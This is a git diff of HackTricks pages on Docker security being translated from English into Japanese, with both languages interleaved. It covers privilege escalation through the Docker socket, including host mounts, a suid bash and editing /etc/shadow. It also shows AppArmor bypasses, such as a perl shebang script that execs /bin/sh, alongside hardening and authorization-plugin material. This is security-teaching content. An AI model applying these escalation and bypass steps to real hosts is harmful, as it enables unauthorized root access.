もしあなたが**dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる場合**、**脱出して特権を昇格させる**ことを試みることができます：
{{#ref}}
docker-breakout-privilege-escalation/
{{#endref}}
## Docker Authentication Plugin Bypass
## Docker認証プラグインバイパス
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
もしあなたがdockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がdocker認証プラグインによって制限されている場合**、**バイパスできるか確認してください：**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Hardening Docker
## Dockerのハードニング
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
このツールは、dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください：** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## References
## 参考文献
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

52
src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# Dockerソケットを悪用して特権昇格を行う
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
Dockerソケットに**アクセス**できる場合があり、それを使用して**特権を昇格**させたいことがあります。いくつかのアクションは非常に疑わしい場合があり、それを避けたいかもしれません。ここでは、特権を昇格させるのに役立つさまざまなフラグを見つけることができます。
### Via mount
### マウントを介して
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
ルートとして実行されているコンテナ内で**ファイルシステム**の異なる部分を**マウント**し、それに**アクセス**できます。\
コンテナ内で特権を昇格させるために**マウントを悪用する**こともできます。
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> ホストのファイルシステムをコンテナにマウントし、**ホストのファイルシステムを読み取る**ことができます。
- **ホストにいるように感じたい**がコンテナにいる場合、次のようなフラグを使用して他の防御メカニズムを無効にすることができます：
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> これは前の方法に似ていますが、ここでは**デバイスディスクをマウント**しています。その後、コンテナ内で `mount /dev/sda1 /mnt` を実行すると、**/mnt**で**ホストのファイルシステムにアクセス**できます。
- ホストで `fdisk -l` を実行して、マウントする `</dev/sda1>` デバイスを見つけます。
- **`-v /tmp:/host`** -> 何らかの理由で**ホストから特定のディレクトリのみをマウント**でき、ホスト内にアクセスできる場合、それをマウントし、マウントされたディレクトリに**suid**を持つ**`/bin/bash`**を作成して、**ホストから実行してルートに昇格**できます。
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> `/tmp`フォルダをマウントできないかもしれませんが、**異なる書き込み可能なフォルダ**をマウントできることに注意してください。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null`を使用します。
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません！** どのディレクトリがsuidビットをサポートしているかを確認するには、`mount | grep -v "nosuid"`を実行します。たとえば、通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および`/var/lib/lxcfs`はsuidビットをサポートしていません。
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> また、**`/etc`**や**設定ファイルを含む他のフォルダ**を**マウント**できる場合、コンテナ内からルートとしてそれらを変更し、**ホストで悪用して特権を昇格**させることができます（たとえば、`/etc/shadow`を変更するなど）。
### Escaping from the container
### コンテナからの脱出
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> このフラグを使用すると、[コンテナからのすべての隔離を削除します](docker-privileged.md#what-affects)。特権コンテナから[ルートとして脱出する技術](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)を確認してください。
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [特権を昇格させるために能力を悪用する](../linux-capabilities.md)、**その能力をコンテナに付与し、エクスプロイトが機能するのを妨げる可能性のある他の保護方法を無効にします。**
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
このページでは、Dockerフラグを使用して特権を昇格させる方法について説明しました。**curl**コマンドを使用してこれらの方法を悪用する方法をページで見つけることができます。
{{#include ../../../banners/hacktricks-training.md}}

224
src/linux-hardening/privilege-escalation/docker-security/apparmor.md
View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
AppArmorは、**プログラムごとのプロファイルを通じてプログラムに利用可能なリソースを制限するために設計されたカーネル拡張**であり、ユーザーではなくプログラムに直接アクセス制御属性を結びつけることによって、必須アクセス制御（MAC）を効果的に実装します。このシステムは、**プロファイルをカーネルにロードすることによって動作**し、通常はブート時に行われ、これらのプロファイルはプログラムがアクセスできるリソース（ネットワーク接続、生ソケットアクセス、ファイル権限など）を決定します。
There are two operational modes for AppArmor profiles:
AppArmorプロファイルには2つの運用モードがあります：
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **強制モード**：このモードは、プロファイル内で定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを通じて違反の試みをログに記録します。
- **コンプライアンスモード**：強制モードとは異なり、コンプライアンスモードはプロファイルのポリシーに反するアクションをブロックしません。代わりに、制限を強制することなく、これらの試みをポリシー違反としてログに記録します。
### Components of AppArmor
### AppArmorのコンポーネント
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **カーネルモジュール**：ポリシーの強制を担当します。
- **ポリシー**：プログラムの動作とリソースアクセスのルールと制限を指定します。
- **パーサー**：ポリシーをカーネルにロードして強制または報告します。
- **ユーティリティ**：AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。
### Profiles path
### プロファイルのパス
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\
`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリのリストを表示できます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
### Commands
例えば、_**/usr/bin/man**_のための**AppArmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。
### コマンド
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## プロファイルの作成
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**がファイルを指定するために許可されています。
- バイナリが**ファイル**に対して持つアクセスを示すために、以下の**アクセス制御**を使用できます：
- **r** (読み取り)
- **w** (書き込み)
- **m** (実行可能なメモリマップ)
- **k** (ファイルロック)
- **l** (ハードリンクの作成)
- **ix** (新しいプログラムがポリシーを継承して別のプログラムを実行するため)
- **Px** (環境をクリーンアップした後、別のプロファイルの下で実行)
- **Cx** (環境をクリーンアップした後、子プロファイルの下で実行)
- **Ux** (環境をクリーンアップした後、制限なしで実行)
- **変数**はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば： @{PROC} と @{HOME} （プロファイルファイルに #include \<tunables/global> を追加）
- **許可ルールを上書きするための拒否ルールがサポートされています**。
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
プロファイルの作成を簡単に始めるために、apparmorが役立ちます。**apparmorがバイナリによって実行されるアクションを検査し、許可または拒否したいアクションを決定できるようにすることが可能です**。\
実行する必要があるのは次のコマンドです：
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
次に、別のコンソールでバイナリが通常実行するすべてのアクションを実行します:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
次に、最初のコンソールで "**s**" を押し、記録されたアクションで無視、許可、またはその他を選択します。終了したら "**f**" を押すと、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます。
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> 矢印キーを使用して、許可/拒否/その他を選択できます。
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
バイナリの apparmor プロファイルのテンプレートを作成することもできます:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。例えば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。
その後、**enforce**新しいプロファイルを使用できます。
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### ログからのプロファイルの変更
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのいくつかを許可するかどうかを尋ねます:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> 矢印キーを使用して、許可/拒否/その他の選択を行うことができます
### プロファイルの管理
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logs
## ログ
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
この情報は次の方法でも取得できます：
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
dockerのプロファイル**docker-profile**がデフォルトで読み込まれることに注意してください:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
デフォルトでは、**Apparmor docker-default プロファイル**は [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) から生成されます。
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**docker-default プロファイルの概要**:
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- **すべてのネットワーキング**への**アクセス**
- **能力**は定義されていません（ただし、いくつかの能力は基本的なベースルールを含むことから来ます。つまり、#include \<abstractions/base>）
- **/proc**ファイルへの**書き込み**は**許可されていません**
- **/proc**および**/sys**の他の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否**されます
- **マウント**は**許可されていません**
- **Ptrace**は**同じ apparmor プロファイル**によって制限されたプロセスでのみ実行できます
**docker コンテナを実行すると**、次の出力が表示されるはずです:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
注意してください。**apparmorはデフォルトでコンテナに付与された能力の特権をブロックします**。例えば、デフォルトのdocker apparmorプロファイルがこのアクセスを拒否するため、**SYS_ADMIN能力が付与されていても/proc内に書き込む権限をブロックすることができます**。
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
あなたはその制限を回避するために**apparmorを無効にする**必要があります：
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダをマウントすることを**禁止します**。SYS_ADMIN権限があってもです。
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
**capabilities**をdockerコンテナに**追加/削除**することができます（これは**AppArmor**や**Seccomp**のような保護方法によって制限されます）：
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` `SYS_ADMIN`権限を付与
- `--cap-add=ALL` すべての権限を付与
- `--cap-drop=ALL --cap-add=SYS_PTRACE` すべての権限を削除し、`SYS_PTRACE`のみを付与
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> 通常、**docker**コンテナの**内部**で**特権権限**が利用可能であることを**発見**したが、**exploitの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。
### Example
### 例
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
（[**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)からの例）
AppArmorの機能を示すために、次の行を追加した新しいDockerプロファイル「mydocker」を作成しました：
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
プロファイルを有効にするには、次の手順を実行する必要があります：
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
プロファイルをリストするには、次のコマンドを実行できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc」を変更しようとするとエラーが発生します。
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
どの **apparmor プロファイルがコンテナを実行しているか** を見つけるには、次のコマンドを使用します:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
次に、以下の行を実行して**使用されている正確なプロファイルを見つける**ことができます:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
奇妙な場合には、**apparmor docker プロファイルを変更して再読み込みすることができます。** 制限を削除し、「バイパス」することができます。
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
### AppArmor Docker バイパス2
### AppArmor Docker Bypass2
**AppArmorはパスベースです。** これは、**`/proc`**のようなディレクトリ内のファイルを**保護**している場合でも、**コンテナの実行方法を構成できる**場合、ホストのプロクスディレクトリを**`/host/proc`**に**マウント**することができ、AppArmorによって**保護されなくなる**ことを意味します。
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
### AppArmor シェバング バイパス
[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも、**最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**すると、任意のものを実行できる例を見ることができます。例えば：
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

124
src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md
View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
**Docker**の標準**認可**モデルは**全か無か**です。Dockerデーモンにアクセスする権限を持つユーザーは、**任意の**Dockerクライアント**コマンド**を**実行**できます。DockerのエンジンAPIを使用してデーモンに接続する呼び出し元についても同様です。**より高いアクセス制御**が必要な場合は、**認可プラグイン**を作成し、Dockerデーモンの設定に追加できます。認可プラグインを使用することで、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセス**ポリシーを**設定**できます。
# Basic architecture
# 基本アーキテクチャ
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
Docker Authプラグインは、**外部**の**プラグイン**であり、**ユーザー**や**要求されたアクション**に応じて、Dockerデーモンに対する**アクション**の**許可/拒否**を行うことができます。
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[以下の情報はドキュメントからのものです](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
**HTTP** **リクエスト**がCLIまたはエンジンAPIを介してDocker **デーモン**に送信されると、**認証** **サブシステム**はリクエストをインストールされた**認証** **プラグイン**に**渡します**。リクエストにはユーザー（呼び出し元）とコマンドのコンテキストが含まれています。**プラグイン**は、リクエストを**許可**するか**拒否**するかを決定する責任があります。
The sequence diagrams below depict an allow and deny authorization flow:
以下のシーケンス図は、許可と拒否の認可フローを示しています：
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
プラグインに送信される各リクエストには、**認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディ**が含まれます。**ユーザー名**と**使用された認証方法**のみがプラグインに渡されます。最も重要なことは、**ユーザーの** **資格情報**やトークンは渡されないことです。最後に、**すべてのリクエスト/レスポンスボディが**認可プラグインに送信されるわけではありません。`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみが送信されます。
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
HTTP接続をハイジャックする可能性のあるコマンド（`HTTP Upgrade`）については、`exec`のように、認可プラグインは初期のHTTPリクエストに対してのみ呼び出されます。プラグインがコマンドを承認すると、その後のフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`のようにチャンク化されたHTTPレスポンスを返すコマンドについては、HTTPリクエストのみが認可プラグインに送信されます。
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
リクエスト/レスポンス処理中に、一部の認可フローはDockerデーモンに追加のクエリを行う必要があるかもしれません。そのようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加クエリを有効にするために、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。
## Several Plugins
## 複数のプラグイン
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
あなたは、Dockerデーモンの**起動**の一部として**プラグイン**を**登録**する責任があります。**複数のプラグインをインストールし、それらを連結**することができます。このチェーンは順序付けることができます。デーモンへの各リクエストは、順番にチェーンを通過します。**すべてのプラグインがリソースへのアクセスを許可**したときのみ、アクセスが許可されます。
# Plugin Examples
# プラグインの例
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
プラグイン [**authz**](https://github.com/twistlock/authz) は、**リクエストを認可するために**プラグインが**読み取る**シンプルな**JSON**ファイルを作成することを可能にします。したがって、どのAPIエンドポイントが各ユーザーに到達できるかを非常に簡単に制御する機会を提供します。
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
これは、アリスとボブが新しいコンテナを作成できるようにする例です：`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
ページ [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) では、要求されたURLとアクションの関係を見つけることができます。ページ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) では、アクション名とアクションの関係を見つけることができます。
## Simple Plugin Tutorial
## シンプルなプラグインチュートリアル
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
インストールとデバッグに関する詳細情報を含む**理解しやすいプラグイン**は、こちらで見つけることができます：[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
`README`と`plugin.go`のコードを読んで、どのように動作しているかを理解してください。
